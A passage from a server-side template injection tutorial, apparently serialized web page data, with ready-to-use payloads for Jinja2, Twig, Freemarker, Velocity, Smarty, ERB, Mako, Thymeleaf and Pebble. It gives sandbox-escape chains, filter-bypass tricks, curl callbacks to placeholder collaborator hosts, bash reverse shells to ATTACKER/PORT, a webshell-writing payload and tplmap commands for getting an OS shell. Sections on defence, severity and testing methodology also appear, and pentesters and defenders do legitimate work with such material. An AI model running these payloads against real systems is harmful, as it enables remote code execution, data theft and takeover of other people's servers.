",[37,15654,15655],{},"object"," → all subclasses → dangerous classes.",[15,15658,15659],{},[26,15660,15661],{},"Chain step by step:",[142,15663,15665],{"className":12380,"code":15664,"language":12382,"meta":87,"style":87},"# 1. Take any available object (string, number, list)\n\"\"\n\n# 2. Get its class\n\"\".__class__                        → \u003Cclass 'str'>\n\n# 3. Climb to the base object class via MRO\n\"\".__class__.__mro__                → (\u003Cclass 'str'>, \u003Cclass 'object'>)\n\"\".__class__.__mro__[1]             → \u003Cclass 'object'>\n\n# 4. Get ALL subclasses of object (hundreds!)\n\"\".__class__.__mro__[1].__subclasses__()\n# → [..., \u003Cclass 'subprocess.Popen'>, \u003Cclass 'os._wrap_close'>, ...]\n\n# 5. Find the target class by index and call it\n\"\".__class__.__mro__[1].__subclasses__()[INDEX](\"id\", shell=True)\n",[37,15666,15667,15672,15677,15681,15686,15691,15695,15700,15705,15710,15714,15719,15724,15729,15733,15738],{"__ignoreMap":87},[313,15668,15669],{"class":315,"line":316},[313,15670,15671],{},"# 1. Take any available object (string, number, list)\n",[313,15673,15674],{"class":315,"line":88},[313,15675,15676],{},"\"\"\n",[313,15678,15679],{"class":315,"line":253},[313,15680,777],{"emptyLinePlaceholder":96},[313,15682,15683],{"class":315,"line":780},[313,15684,15685],{},"# 2. Get its class\n",[313,15687,15688],{"class":315,"line":792},[313,15689,15690],{},"\"\".__class__                        → \u003Cclass 'str'>\n",[313,15692,15693],{"class":315,"line":802},[313,15694,777],{"emptyLinePlaceholder":96},[313,15696,15697],{"class":315,"line":821},[313,15698,15699],{},"# 3. Climb to the base object class via MRO\n",[313,15701,15702],{"class":315,"line":833},[313,15703,15704],{},"\"\".__class__.__mro__                → (\u003Cclass 'str'>, \u003Cclass 'object'>)\n",[313,15706,15707],{"class":315,"line":842},[313,15708,15709],{},"\"\".__class__.__mro__[1]             → \u003Cclass 'object'>\n",[313,15711,15712],{"class":315,"line":848},[313,15713,777],{"emptyLinePlaceholder":96},[313,15715,15716],{"class":315,"line":853},[313,15717,15718],{},"# 4. Get ALL subclasses of object (hundreds!)\n",[313,15720,15721],{"class":315,"line":874},[313,15722,15723],{},"\"\".__class__.__mro__[1].__subclasses__()\n",[313,15725,15726],{"class":315,"line":889},[313,15727,15728],{},"# → [..., \u003Cclass 'subprocess.Popen'>, \u003Cclass 'os._wrap_close'>, ...]\n",[313,15730,15731],{"class":315,"line":894},[313,15732,777],{"emptyLinePlaceholder":96},[313,15734,15735],{"class":315,"line":899},[313,15736,15737],{},"# 5. Find the target class by index and call it\n",[313,15739,15740],{"class":315,"line":907},[313,15741,15742],{},"\"\".__class__.__mro__[1].__subclasses__()[INDEX](\"id\", shell=True)\n",[15,15744,15745],{},[26,15746,15747],{},"Visually:",[142,15749,15752],{"className":15750,"code":15751,"language":147},[145],"\"\" (string)\n └── __class__ → str\n      └── __mro__ → [str, object]\n           └── object\n                └── __subclasses__() → [list, dict, ..., subprocess.Popen, ...]\n                     └── Popen(\"id\", shell=True) → RCE!\n",[37,15753,15751],{"__ignoreMap":87},[15,15755,15756],{},[26,15757,15758],{},"Ready-made Jinja2 payloads:",[15,15760,15761],{},"File read:",[142,15763,15766],{"className":15764,"code":15765,"language":147},[145],"{{ \"\".__class__.__mro__[1].__subclasses__()[INDEX](\"\u002Fetc\u002Fpasswd\").read() }}\n",[37,15767,15765],{"__ignoreMap":87},[15,15769,15770],{},"RCE via subprocess.Popen:",[142,15772,15775],{"className":15773,"code":15774,"language":147},[145],"{{ \"\".__class__.__mro__[1].__subclasses__()[INDEX](\"id\", shell=True, stdout=-1).communicate() }}\n",[37,15776,15774],{"__ignoreMap":87},[15,15778,15779],{},"RCE via config\u002Frequest (if Flask objects are available):",[142,15781,15784],{"className":15782,"code":15783,"language":147},[145],"{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}\n{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['os'].popen('id').read() }}\n",[37,15785,15783],{"__ignoreMap":87},[15,15787,15788],{},"RCE via cycler (Jinja2 >= 2.11, no Flask needed):",[142,15790,15793],{"className":15791,"code":15792,"language":147},[145],"{{ cycler.__init__.__globals__.os.popen('id').read() }}\n{{ joiner.__init__.__globals__.os.popen('id').read() }}\n{{ namespace.__init__.__globals__.os.popen('id').read() }}\n",[37,15794,15792],{"__ignoreMap":87},[15,15796,15797],{},[26,15798,15799],{},"How to find the right subclass index:",[15,15801,15802,15803,15806],{},"The index of ",[37,15804,15805],{},"subprocess.Popen"," (or another dangerous class) differs across systems. Finding it:",[142,15808,15811],{"className":15809,"code":15810,"language":147},[145],"# Print all subclasses and find the one you need manually:\n{{ \"\".__class__.__mro__[1].__subclasses__() }}\n\n# Or use a loop:\n{% for cls in \"\".__class__.__mro__[1].__subclasses__() %}\n  {% if cls.__name__ == 'Popen' %}\n    {{ loop.index0 }}\n  {% endif %}\n{% endfor %}\n",[37,15812,15810],{"__ignoreMap":87},[137,15814,15816],{"id":15815},"waf-filter-bypass-in-jinja2","WAF \u002F filter bypass in Jinja2",[15,15818,15487,15819,4244,15821,4244,15823,4244,15826,4244,15829,15832],{},[37,15820,13194],{},[37,15822,524],{},[37,15824,15825],{},"[",[37,15827,15828],{},"]",[37,15830,15831],{},"class",", etc. are filtered:",[142,15834,15837],{"className":15835,"code":15836,"language":147},[145],"# Via attr() filter (bypasses dots and underscores)\n{{ \"\"| attr(\"__class__\") | attr(\"__mro__\") }}\n\n# Via request.args (bypasses string filtering)\n{{ \"\".__class__.__mro__[1].__subclasses__()[request.args.i|int](request.args.cmd,shell=True,stdout=-1).communicate() }}\n# URL: ?i=INDEX&cmd=id\n\n# Hex-encoded strings\n{{ \"\"[\"\\x5f\\x5fclass\\x5f\\x5f\"] }}   ← \\x5f = _\n\n# Via dict and join\n{{ dict(__cla=1,ss__=1)|join }}      → \"__class__\"\n\n# Via format string\n{{ \"%c%c%c%c%c%c%c%c%c\"|format(95,95,99,108,97,115,115,95,95) }}\n",[37,15838,15836],{"__ignoreMap":87},[137,15840,15842],{"id":15841},"_62-twig-php","6.2 Twig (PHP)",[15,15844,15845],{},[26,15846,15847],{},"Twig 1.x (old — direct path to RCE):",[142,15849,15852],{"className":15850,"code":15851,"language":147},[145],"{{ _self.env.registerUndefinedFilterCallback(\"exec\") }}\n{{ _self.env.getFilter(\"id\") }}\n",[37,15853,15851],{"__ignoreMap":87},[15,15855,15856],{},[26,15857,15858],{},"Twig 2.x \u002F 3.x:",[142,15860,15863],{"className":15861,"code":15862,"language":147},[145],"{{ ['id'] | filter('system') }}\n{{ ['cat \u002Fetc\u002Fpasswd'] | filter('exec') }}\n{{ app.request.server.get('DOCUMENT_ROOT') }}\n",[37,15864,15862],{"__ignoreMap":87},[15,15866,15867],{},[26,15868,15761],{},[142,15870,15873],{"className":15871,"code":15872,"language":147},[145],"{{ source('\u002Fetc\u002Fpasswd') }}\n{{ include('\u002Fetc\u002Fpasswd') }}\n",[37,15874,15872],{"__ignoreMap":87},[15,15876,15877],{},[26,15878,15879],{},"Via map:",[142,15881,15884],{"className":15882,"code":15883,"language":147},[145],"{{ ['id'] | map('system') | join }}\n{{ ['id'] | sort('system') | join }}\n",[37,15885,15883],{"__ignoreMap":87},[137,15887,15889],{"id":15888},"_63-freemarker-java","6.3 Freemarker (Java)",[15,15891,15892,15893,15896],{},"One of the most dangerous — has ",[26,15894,15895],{},"built-in"," code execution capabilities:",[15,15898,15899],{},[26,15900,15901],{},"Execute (direct RCE):",[142,15903,15906],{"className":15904,"code":15905,"language":147},[145],"\u003C#assign ex = \"freemarker.template.utility.Execute\"?new()>\n${ex(\"id\")}\n",[37,15907,15905],{"__ignoreMap":87},[15,15909,15910],{},[26,15911,15912],{},"ObjectConstructor:",[142,15914,15917],{"className":15915,"code":15916,"language":147},[145],"\u003C#assign obj = \"freemarker.template.utility.ObjectConstructor\"?new()>\n${obj(\"java.lang.Runtime\").getRuntime().exec(\"id\")}\n",[37,15918,15916],{"__ignoreMap":87},[15,15920,15921],{},[26,15922,15761],{},[142,15924,15927],{"className":15925,"code":15926,"language":147},[145],"${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(\"\u002Fetc\u002Fpasswd\").toURL().openStream().readAllBytes()?join(\" \")}\n",[37,15928,15926],{"__ignoreMap":87},[137,15930,15932],{"id":15931},"_64-velocity-java","6.4 Velocity (Java)",[142,15934,15937],{"className":15935,"code":15936,"language":147},[145],"#set($runtime = $class.inspect(\"java.lang.Runtime\"))\n#set($getRuntime = $runtime.getMethod(\"getRuntime\", null))\n#set($rt = $getRuntime.invoke(null, null))\n#set($exec = $rt.exec(\"id\"))\n$exec.waitFor()\n",[37,15938,15936],{"__ignoreMap":87},[15,15940,15941],{},"Or shorter:",[142,15943,15946],{"className":15944,"code":15945,"language":147},[145],"#set($ex = $class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"id\"))\n$ex.waitFor()\n#set($result = $ex.inputStream)\n",[37,15947,15945],{"__ignoreMap":87},[137,15949,15951],{"id":15950},"_65-smarty-php","6.5 Smarty (PHP)",[15,15953,15954],{},[26,15955,15956],{},"Old versions (\u003C 3):",[142,15958,15961],{"className":15959,"code":15960,"language":147},[145],"{php}system('id');{\u002Fphp}\n",[37,15962,15960],{"__ignoreMap":87},[15,15964,15965],{},[26,15966,15967],{},"New versions:",[142,15969,15972],{"className":15970,"code":15971,"language":147},[145],"{system('id')}\n{Smarty_Internal_Write_File::writeFile('\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php','\u003C?php system($_GET[\"cmd\"]); ?>',self::clearConfig())}\n",[37,15973,15971],{"__ignoreMap":87},[137,15975,15977],{"id":15976},"_66-erb-ruby","6.6 ERB (Ruby)",[15,15979,15980,15981,15984],{},"ERB gives ",[26,15982,15983],{},"direct access to Ruby"," — virtually no sandbox:",[142,15986,15990],{"className":15987,"code":15988,"language":15989,"meta":87,"style":87},"language-erb shiki shiki-themes github-light github-dark","\u003C%= system(\"id\") %>\n\u003C%= `id` %>\n\u003C%= IO.popen(\"id\").read() %>\n\u003C%= File.read(\"\u002Fetc\u002Fpasswd\") %>\n","erb",[37,15991,15992,15997,16002,16007],{"__ignoreMap":87},[313,15993,15994],{"class":315,"line":316},[313,15995,15996],{},"\u003C%= system(\"id\") %>\n",[313,15998,15999],{"class":315,"line":88},[313,16000,16001],{},"\u003C%= `id` %>\n",[313,16003,16004],{"class":315,"line":253},[313,16005,16006],{},"\u003C%= IO.popen(\"id\").read() %>\n",[313,16008,16009],{"class":315,"line":780},[313,16010,16011],{},"\u003C%= File.read(\"\u002Fetc\u002Fpasswd\") %>\n",[137,16013,16015],{"id":16014},"_67-mako-python","6.7 Mako (Python)",[15,16017,16018],{},"Same idea — direct Python:",[142,16020,16023],{"className":16021,"code":16022,"language":147},[145],"${__import__(\"os\").popen(\"id\").read()}\n\u003C% import os; os.system(\"id\") %>\n",[37,16024,16022],{"__ignoreMap":87},[137,16026,16028],{"id":16027},"_68-thymeleaf-java-spring","6.8 Thymeleaf (Java \u002F Spring)",[15,16030,16031],{},"Injection via Spring Expression Language (SpEL):",[142,16033,16036],{"className":16034,"code":16035,"language":147},[145],"${T(java.lang.Runtime).getRuntime().exec('id')}\n__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x\n",[37,16037,16035],{"__ignoreMap":87},[15,16039,16040,16041,16047],{},"Thymeleaf can be vulnerable even ",[26,16042,16043,16044],{},"without ",[37,16045,16046],{},"${ }"," — through view names:",[142,16049,16052],{"className":16050,"code":16051,"language":147},[145],"GET \u002Fpath\u002F__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x\n",[37,16053,16051],{"__ignoreMap":87},[137,16055,16057],{"id":16056},"_69-pebble-java-spring","6.9 Pebble (Java \u002F Spring)",[15,16059,16060,16061,5227,16063,11889],{},"A growing-in-popularity Java engine. Syntax resembles Twig (",[37,16062,15051],{},[37,16064,15054],{},[15,16066,16067],{},[26,16068,16069],{},"Detection:",[142,16071,16074],{"className":16072,"code":16073,"language":147},[145],"{{ \"test\".toUpperCase() }}    → TEST\n",[37,16075,16073],{"__ignoreMap":87},[15,16077,16078],{},[26,16079,16080],{},"RCE:",[142,16082,16085],{"className":16083,"code":16084,"language":147},[145],"{% set cmd = 'id' %}\n{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}\n{{ bytes.inputStream.text }}\n",[37,16086,16084],{"__ignoreMap":87},[15,16088,16089],{},[26,16090,16091],{},"Via reflection:",[142,16093,16096],{"className":16094,"code":16095,"language":147},[145],"{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}\n",[37,16097,16095],{"__ignoreMap":87},[12813,16099],{},[19,16101,16103],{"id":16102},"_7-blind-ssti","7. Blind SSTI",[15,16105,16106,16107,16110],{},"When the expression result ",[26,16108,16109],{},"isn't visible"," in the response:",[137,16112,13106],{"id":16113},"timing",[142,16115,16118],{"className":16116,"code":16117,"language":147},[145],"# Jinja2 — heavy computation\n{{ range(100000000)|list }}\n\n# Or sleep via RCE\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"sleep 5\", shell=True) }}\n",[37,16119,16117],{"__ignoreMap":87},[15,16121,16122],{},"If the response is delayed → SSTI confirmed.",[137,16124,16126],{"id":16125},"oob-out-of-band","OOB (Out-of-Band)",[142,16128,16131],{"className":16129,"code":16130,"language":147},[145],"# Jinja2 — DNS\u002FHTTP callback\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"curl http:\u002F\u002FCOLLABORATOR\", shell=True) }}\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"nslookup COLLABORATOR\", shell=True) }}\n\n# Freemarker\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"curl http:\u002F\u002FCOLLABORATOR\u002F$(id)\")}\n\n# Twig\n{{ ['curl http:\u002F\u002FCOLLABORATOR'] | filter('system') }}\n",[37,16132,16130],{"__ignoreMap":87},[15,16134,16135,16136,12216,16138,16140],{},"Use ",[26,16137,11441],{},[26,16139,14523],{}," to receive callbacks.",[12813,16142],{},[19,16144,16146],{"id":16145},"_8-ssti-rce-the-chain","8. SSTI → RCE: the chain",[15,16148,16149,16150,212],{},"Unlike XXE (file reads) or SSRF (requests), SSTI provides a ",[26,16151,16152],{},"direct path to RCE",[142,16154,16157],{"className":16155,"code":16156,"language":147},[145],"Detection          → {{7*7}} = 49\nIdentification     → {{7*'7'}} = 7777777 → Jinja2\nSandbox escape     → MRO chain to subprocess.Popen\nRCE                → id, cat \u002Fetc\u002Fpasswd, reverse shell\n",[37,16158,16156],{"__ignoreMap":87},[15,16160,16161,16164],{},[26,16162,16163],{},"All in a single HTTP request."," No webshell, no external server, no file writes needed.",[137,16166,16168],{"id":16167},"reverse-shell-via-ssti","Reverse shell via SSTI",[142,16170,16173],{"className":16171,"code":16172,"language":147},[145],"# Jinja2\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER\u002FPORT 0>&1'\", shell=True) }}\n\n# Freemarker\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER\u002FPORT 0>&1'\")}\n\n# ERB\n\u003C%= system(\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER\u002FPORT 0>&1'\") %>\n",[37,16174,16172],{"__ignoreMap":87},[12813,16176],{},[19,16178,16179],{"id":14031},"9. Chaining with other vulnerabilities",[15,16181,16182],{},"SSTI rarely exists in isolation. Understanding chains lets you escalate impact or discover SSTI through adjacent vulnerabilities.",[13075,16184,16185,16196],{},[13078,16186,16187],{},[13081,16188,16189,16191,16194],{},[13084,16190,14041],{},[13084,16192,16193],{},"How it works",[13084,16195,14046],{},[13091,16197,16198,16210,16220,16233,16246],{},[13081,16199,16200,16204,16207],{},[13096,16201,16202],{},[26,16203,14098],{},[13096,16205,16206],{},"RCE via SSTI = you can make any request from code",[13096,16208,16209],{},"Full internal network access, cloud metadata",[13081,16211,16212,16216,16218],{},[13096,16213,16214],{},[26,16215,14085],{},[13096,16217,14088],{},[13096,16219,14091],{},[13081,16221,16222,16227,16230],{},[13096,16223,16224],{},[26,16225,16226],{},"SSTI → LFI",[13096,16228,16229],{},"Reading files via template (config, env) before achieving RCE",[13096,16231,16232],{},"Secret leakage",[13081,16234,16235,16240,16243],{},[13096,16236,16237],{},[26,16238,16239],{},"XSS → SSTI",[13096,16241,16242],{},"Client-side XSS + server-side template rendering with SSR",[13096,16244,16245],{},"Client-side vuln escalation",[13081,16247,16248,16253,16256],{},[13096,16249,16250],{},[26,16251,16252],{},"SSTI + WAF bypass",[13096,16254,16255],{},"Obfuscation via attr(), hex, dict+join",[13096,16257,16258],{},"Defense bypass",[15,16260,16261,16262,524],{},"More on SSRF → ",[125,16263,11799],{"href":14811},[12813,16265],{},[19,16267,16268],{"id":14148},"10. Testing methodology",[137,16270,16272],{"id":16271},"step-1-identify-input-points","Step 1: Identify input points",[30,16274,16275,16282,16285,16303],{},[33,16276,16277,16278,16281],{},"Find all places where input is ",[26,16279,16280],{},"reflected"," in the response",[33,16283,16284],{},"Pay attention to: error pages, profiles, search, email templates, PDF generation",[33,16286,16287,16288,4244,16291,4244,16294,4244,16297,4244,16300],{},"Check parameters: ",[37,16289,16290],{},"name=",[37,16292,16293],{},"message=",[37,16295,16296],{},"template=",[37,16298,16299],{},"email=",[37,16301,16302],{},"greeting=",[33,16304,16305,16306,4244,16308,16310],{},"Check headers: ",[37,16307,2875],{},[37,16309,4668],{}," (rare but happens)",[137,16312,16314],{"id":16313},"step-2-confirm-ssti","Step 2: Confirm SSTI",[15,16316,16317,16318,212],{},"Inject payloads into ",[26,16319,16320],{},"every reflection point",[142,16322,16325],{"className":16323,"code":16324,"language":147},[145],"# Universal detection set:\n{{7*7}}\n${7*7}\n\u003C%= 7*7 %>\n{7*7}\n#{7*7}\n${{7*7}}\n",[37,16326,16324],{"__ignoreMap":87},[15,16328,16329,16330,16332],{},"If you see ",[37,16331,15561],{}," — SSTI confirmed.",[15,16334,16335],{},"If nothing — try:",[142,16337,16340],{"className":16338,"code":16339,"language":147},[145],"{{7*7}}         → reflected as {{7*7}}? → not a template engine\n                → 500 error? → template engine exists, but wrong syntax\n                → empty \u002F filtered? → could be a WAF\n",[37,16341,16339],{"__ignoreMap":87},[137,16343,16345],{"id":16344},"step-3-identify-the-engine-decision-tree","Step 3: Identify the engine (decision tree)",[142,16347,16350],{"className":16348,"code":16349,"language":147},[145],"1. {{7*7}} = 49?\n   ├── Yes → {{7*'7'}}\n   │         ├── 7777777 → Jinja2\n   │         └── 49 → Twig\n   └── No → ${7*7} = 49?\n              ├── Yes → Java (Freemarker\u002FVelocity) or Mako\n              └── No → \u003C%= 7*7 %> = 49?\n                         ├── Yes → ERB or EJS\n                         └── No → {7*7} = 49?\n                                    ├── Yes → Smarty\n                                    └── No → other \u002F no SSTI\n",[37,16351,16349],{"__ignoreMap":87},[15,16353,16354],{},"Additional checks for narrowing down:",[142,16356,16359],{"className":16357,"code":16358,"language":147},[145],"# Java: Freemarker vs Velocity\n${\"freemarker.template.utility.Execute\"?new()(\"id\")}   → works? → Freemarker\n#set($x=7*7)$x                                         → works? → Velocity\n\n# Python: Jinja2 vs Mako\n${7*7}  → works + no {% %} → Mako\n{{7*7}} → works → Jinja2\n",[37,16360,16358],{"__ignoreMap":87},[137,16362,16364],{"id":16363},"step-4-exploitation","Step 4: Exploitation",[15,16366,16367],{},"Identified the engine → use payloads from section 6.",[15,16369,16370],{},"Escalation order:",[142,16372,16375],{"className":16373,"code":16374,"language":147},[145],"1. Confirmation: {{7*7}} → 49\n2. Read config: config, settings, env\n3. Read files: \u002Fetc\u002Fpasswd, .env, config.php\n4. RCE: id, whoami\n5. Reverse shell \u002F further exploitation\n",[37,16376,16374],{"__ignoreMap":87},[137,16378,16380],{"id":16379},"step-5-if-it-doesnt-work","Step 5: If it doesn't work",[30,16382,16383,16390,16406,16427],{},[33,16384,16385,16386,16389],{},"Try a ",[26,16387,16388],{},"different syntax"," — might be the wrong engine",[33,16391,16392,16393,6050,16396,4244,16398,4244,16400,4244,16402,16405],{},"Check for ",[26,16394,16395],{},"filtering",[37,16397,13194],{},[37,16399,524],{},[37,16401,15825],{},[37,16403,16404],{},"{{"," — and use bypasses (section 6.1)",[33,16407,7590,16408,16411,16412],{},[26,16409,16410],{},"blind SSTI",": payload executes but the result isn't displayed\n",[30,16413,16414,16421],{},[33,16415,16416,16417,16420],{},"Timing: ",[37,16418,16419],{},"{{ range(10000000) }}"," — does the page load slower?",[33,16422,16423,16424],{},"OOB: ",[37,16425,16426],{},"{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"curl attacker.com\u002F$(id)\", shell=True) }}",[33,16428,7590,16429,16432,16433,4244,16436],{},[26,16430,16431],{},"via headers",": same payload in ",[37,16434,16435],{},"User-Agent",[37,16437,4668],{},[12813,16439],{},[19,16441,16443],{"id":16442},"_11-defending-against-ssti","11. Defending against SSTI",[137,16445,16447],{"id":16446},"the-right-approach-separate-data-from-template","The right approach — separate data from template",[142,16449,16451],{"className":12380,"code":16450,"language":12382,"meta":87,"style":87},"# SAFE — input as data\nrender_template(\"hello.html\", name=user_input)\n# Template: \"Hello, {{ name }}!\"\n# user_input = \"{{7*7}}\" → rendered literally\n\n# VULNERABLE — input in the template itself\ntemplate = Template(\"Hello, \" + user_input + \"!\")\ntemplate.render()\n",[37,16452,16453,16458,16463,16468,16473,16477,16482,16487],{"__ignoreMap":87},[313,16454,16455],{"class":315,"line":316},[313,16456,16457],{},"# SAFE — input as data\n",[313,16459,16460],{"class":315,"line":88},[313,16461,16462],{},"render_template(\"hello.html\", name=user_input)\n",[313,16464,16465],{"class":315,"line":253},[313,16466,16467],{},"# Template: \"Hello, {{ name }}!\"\n",[313,16469,16470],{"class":315,"line":780},[313,16471,16472],{},"# user_input = \"{{7*7}}\" → rendered literally\n",[313,16474,16475],{"class":315,"line":792},[313,16476,777],{"emptyLinePlaceholder":96},[313,16478,16479],{"class":315,"line":802},[313,16480,16481],{},"# VULNERABLE — input in the template itself\n",[313,16483,16484],{"class":315,"line":821},[313,16485,16486],{},"template = Template(\"Hello, \" + user_input + \"!\")\n",[313,16488,16489],{"class":315,"line":833},[313,16490,16491],{},"template.render()\n",[137,16493,16495],{"id":16494},"general-principles","General principles",[335,16497,16498,16504,16510,16516,16522],{},[33,16499,16500,16503],{},[26,16501,16502],{},"Never concatenate input with a template"," — always pass it through context\u002Fvariables",[33,16505,16506,16509],{},[26,16507,16508],{},"Sandbox"," — use the engine's sandbox (Jinja2 SandboxedEnvironment)",[33,16511,16512,16515],{},[26,16513,16514],{},"Character whitelist"," — if users write templates, restrict allowed constructs",[33,16517,16518,16521],{},[26,16519,16520],{},"Minimal context"," — don't pass objects with dangerous methods into the template",[33,16523,16524,16527,16528,4244,16530,4244,16533,16535],{},[26,16525,16526],{},"WAF"," — filter ",[37,16529,16404],{},[37,16531,16532],{},"${",[37,16534,15446],{}," — but this is unreliable (bypasses exist)",[137,16537,16539],{"id":16538},"jinja2-sandbox","Jinja2 Sandbox",[142,16541,16543],{"className":12380,"code":16542,"language":12382,"meta":87,"style":87},"from jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\ntemplate = env.from_string(user_template)\ntemplate.render()\n# Blocks access to __class__, __mro__, __subclasses__, etc.\n",[37,16544,16545,16550,16555,16560,16564],{"__ignoreMap":87},[313,16546,16547],{"class":315,"line":316},[313,16548,16549],{},"from jinja2.sandbox import SandboxedEnvironment\n",[313,16551,16552],{"class":315,"line":88},[313,16553,16554],{},"env = SandboxedEnvironment()\n",[313,16556,16557],{"class":315,"line":253},[313,16558,16559],{},"template = env.from_string(user_template)\n",[313,16561,16562],{"class":315,"line":780},[313,16563,16491],{},[313,16565,16566],{"class":315,"line":792},[313,16567,16568],{},"# Blocks access to __class__, __mro__, __subclasses__, etc.\n",[15,16570,16571,16572,16575,16576,524],{},"The sandbox is ",[26,16573,16574],{},"not absolute protection"," — researchers periodically find bypasses. The best approach: ",[26,16577,16578],{},"don't give users control over the template at all",[12813,16580],{},[19,16582,16583],{"id":14432},"12. Severity assessment",[13075,16585,16586,16594],{},[13078,16587,16588],{},[13081,16589,16590,16592],{},[13084,16591,14442],{},[13084,16593,14445],{},[13091,16595,16596,16605,16614,16623],{},[13081,16597,16598,16602],{},[13096,16599,16600],{},[26,16601,14454],{},[13096,16603,16604],{},"RCE via sandbox escape, reverse shell, OS access",[13081,16606,16607,16611],{},[13096,16608,16609],{},[26,16610,14464],{},[13096,16612,16613],{},"Reading arbitrary files with secrets, access to configs, environment variables",[13081,16615,16616,16620],{},[13096,16617,16618],{},[26,16619,14474],{},[13096,16621,16622],{},"Limited data reads, blind SSTI without full RCE, internal information leakage",[13081,16624,16625,16629],{},[13096,16626,16627],{},[26,16628,14484],{},[13096,16630,16631],{},"Expression evaluation only without escalation, no OS access",[15,16633,16634,16635,16638],{},"SSTI is ",[26,16636,16637],{},"almost always Critical"," — because sandbox escape exists for most engines, and the path from detection to RCE is usually short.",[12813,16640],{},[19,16642,14493],{"id":14492},[13075,16644,16645,16653],{},[13078,16646,16647],{},[13081,16648,16649,16651],{},[13084,16650,14502],{},[13084,16652,14505],{},[13091,16654,16655,16665,16675,16685,16695,16705],{},[13081,16656,16657,16662],{},[13096,16658,16659],{},[26,16660,16661],{},"tplmap",[13096,16663,16664],{},"Automatic SSTI detection and exploitation (supports Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB, and more)",[13081,16666,16667,16672],{},[13096,16668,16669],{},[26,16670,16671],{},"SSTImap",[13096,16673,16674],{},"tplmap fork with extended engine support",[13081,16676,16677,16682],{},[13096,16678,16679],{},[26,16680,16681],{},"Burp Suite",[13096,16683,16684],{},"Request interception, payload injection, Intruder for fuzzing",[13081,16686,16687,16692],{},[13096,16688,16689],{},[26,16690,16691],{},"Burp Collaborator \u002F interactsh",[13096,16693,16694],{},"Blind SSTI confirmation",[13081,16696,16697,16702],{},[13096,16698,16699],{},[26,16700,16701],{},"PayloadsAllTheThings",[13096,16703,16704],{},"Payload repository for all engines",[13081,16706,16707,16712],{},[13096,16708,16709],{},[26,16710,16711],{},"HackTricks",[13096,16713,16714],{},"Sandbox escape reference for each engine",[137,16716,16718],{"id":16717},"tplmap-automation","tplmap — automation",[142,16720,16722],{"className":1044,"code":16721,"language":1046,"meta":87,"style":87},"# Detection and identification\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\"\n\n# With a POST parameter\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"name=test\"\n\n# Getting a shell\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\" --os-shell\n\n# Reading a file\npython tplmap.py -u \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\" --os-cmd \"cat \u002Fetc\u002Fpasswd\"\n",[37,16723,16724,16729,16742,16746,16751,16768,16772,16777,16791,16795,16800],{"__ignoreMap":87},[313,16725,16726],{"class":315,"line":316},[313,16727,16728],{"class":7943},"# Detection and identification\n",[313,16730,16731,16733,16736,16739],{"class":315,"line":88},[313,16732,12382],{"class":795},[313,16734,16735],{"class":771}," tplmap.py",[313,16737,16738],{"class":808}," -u",[313,16740,16741],{"class":771}," \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\"\n",[313,16743,16744],{"class":315,"line":253},[313,16745,777],{"emptyLinePlaceholder":96},[313,16747,16748],{"class":315,"line":780},[313,16749,16750],{"class":7943},"# With a POST parameter\n",[313,16752,16753,16755,16757,16759,16762,16765],{"class":315,"line":792},[313,16754,12382],{"class":795},[313,16756,16735],{"class":771},[313,16758,16738],{"class":808},[313,16760,16761],{"class":771}," \"http:\u002F\u002Ftarget.com\u002Fpage\"",[313,16763,16764],{"class":808}," -d",[313,16766,16767],{"class":771}," \"name=test\"\n",[313,16769,16770],{"class":315,"line":802},[313,16771,777],{"emptyLinePlaceholder":96},[313,16773,16774],{"class":315,"line":821},[313,16775,16776],{"class":7943},"# Getting a shell\n",[313,16778,16779,16781,16783,16785,16788],{"class":315,"line":833},[313,16780,12382],{"class":795},[313,16782,16735],{"class":771},[313,16784,16738],{"class":808},[313,16786,16787],{"class":771}," \"http:\u002F\u002Ftarget.com\u002Fpage?name=test\"",[313,16789,16790],{"class":808}," --os-shell\n",[313,16792,16793],{"class":315,"line":842},[313,16794,777],{"emptyLinePlaceholder":96},[313,16796,16797],{"class":315,"line":848},[313,16798,16799],{"class":7943},"# Reading a file\n",[313,16801,16802,16804,16806,16808,16810,16813],{"class":315,"line":853},[313,16803,12382],{"class":795},[313,16805,16735],{"class":771},[313,16807,16738],{"class":808},[313,16809,16787],{"class":771},[313,16811,16812],{"class":808}," --os-cmd",[313,16814,16815],{"class":771}," \"cat \u002Fetc\u002Fpasswd\"\n",[12813,16817],{},[19,16819,16820],{"id":14572},"14. Notable cases",[15,16822,16823,16826],{},[26,16824,16825],{},"Uber (2016, Bug Bounty):","\nSSTI in Jinja2 via a profile parameter → RCE. Bounty $10,000+.",[15,16828,16829,16832],{},[26,16830,16831],{},"Shopify (2019, Bug Bounty):","\nSSTI in Liquid templates → reading internal data through template engine objects.",[15,16834,16835,16838,16839,524],{},[26,16836,16837],{},"Adobe (2020, Bug Bounty):","\nSSTI in Freemarker → full RCE on the server via ",[37,16840,15143],{},[15,16842,16843,16846],{},[26,16844,16845],{},"PortSwigger Research:","\nNumerous sandbox escape studies in Jinja2, Twig, Freemarker — each new version patches 